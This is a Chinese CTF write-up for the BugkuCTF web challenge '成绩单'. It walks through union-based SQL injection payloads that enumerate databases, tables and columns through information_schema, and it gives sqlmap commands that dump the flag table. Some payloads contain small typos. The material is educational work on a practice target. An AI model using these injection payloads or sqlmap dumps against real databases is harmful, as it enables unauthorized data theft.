zoukankan      html  css  js  c++  java
  • BugkuCTF-web-成绩单 writeup

    记一次简单的SQL注入

    题目传送门,点击即走

    首先分析题目:进入题目网页就可以看到这个

    遇到表单,当然要填一填,看看有什么变化。于是我根据题目提示输入1。在这里插入图片描述仔细观察可以发现输入1,并且返回后,出现了龙龙龙的成绩单以及四份数据。
    于是打开hackbar,post提交
    在这里插入图片描述
    正常返回,加 ’ 测试一下
    在这里插入图片描述
    啥也不是,再加个 #
    在这里插入图片描述
    又正常了。
    那么基本可以认定是SQL注入无疑了。

    两种解题方法:

    1:手动注入:

    在手工注入之前要先知道一些小知识点,拿小本本记下来

    1、
    MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。利用这个,我们可以获取表名,列名等
    2、
    查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了

    先用“id=3' order by 4#尝试,发现可以,然后用id=3' order by 5#尝试,发现不行,所以确定是四个字段。

    接下来,爆破库名:id=-1' union select 1,2,3,4 //把id变为-1是因为如果id有回显的话,我们查询的东西就不能能显示了,所以要换一个id没有东西的数值
    在这里插入图片描述
    得到库名之后就可以开始暴库了:id=-1' union select 1,database(),user(),version()#
    得到数据库名为skctf_flag
    id=-1' union select 1,group_concat(colum_name),user(),version() from information_schema.tables where table_schema=database()#

    上面这个指令中,group_concat是表示把查询的内容联合到一起方便查看的,

    在这里插入图片描述
    接下来就是暴列名了:
    id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'

    在这里插入图片描述
    最后的最后,开始的开始,
    列出数据id=-1' union select 1,skctf_flag,user(),version() from fl4g#
    在这里插入图片描述

    第二种方法:
    sqlmap跑:
    表单输入1或者2或者3,用burp抓包,并且新建记事本保存。
    然后打开咱们可爱的sqlmap:
    执行以下代码:sqlmap.py -r D:250.txt -p id --dbs
    应为我把我的txt文件命名为250.txt,并且放在D盘。
    -r -->打开指定文件
    -p -->指定注入参数
    –current-db(两个-) 或 --dbs–>暴库名
    然后就是如下内容
    在这里插入图片描述
    可见爆出了库名。
    然后咱们来爆表名:
    sqlmap.py -r D:250.txt -p id -D skctf_flag --tables
    -D -->指定数据库
    –tables(两个-) -->列出当前数据库的表

    在这里插入图片描述
    宾果~成功爆破出表名,然后咱们来爆破列
    命令:sqlmap.py -r D:250.txt -p id -D skctf_flag -T fl4g --column
    -T -->指定表名
    –column(两个-)–>列出当前表的列
    在这里插入图片描述
    爆破出来了,西大奔普!!
    最后下载数据,
    命令:sqlmap.py -r D:250.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
    -C -->指定列名
    –dump(两个-)–>下载数据
    在这里插入图片描述

    本文借鉴CSDN博主「会下雪的晴天」的博客

    原文传送门

  • 相关阅读:
    Intellij IDEA中Maven解决依赖失效
    Spring Boot 推荐的基础 POM 文件
    Spring Boot启动流程详解(一)
    spring boot应用启动原理分析
    Spring Boot 配置文件详解:Properties和YAML
    Spring Boot 属性配置和使用
    Arcgis for js载入天地图
    Android菜鸟的成长笔记(28)——Google官方对Andoird 2.x提供的ActionBar支持
    Android仿IOS回弹效果 ScrollView回弹 总结
    Android开发有用的站点
  • 原文地址:https://www.cnblogs.com/Kuller-Yan/p/12914120.html
Copyright © 2011-2022 走看看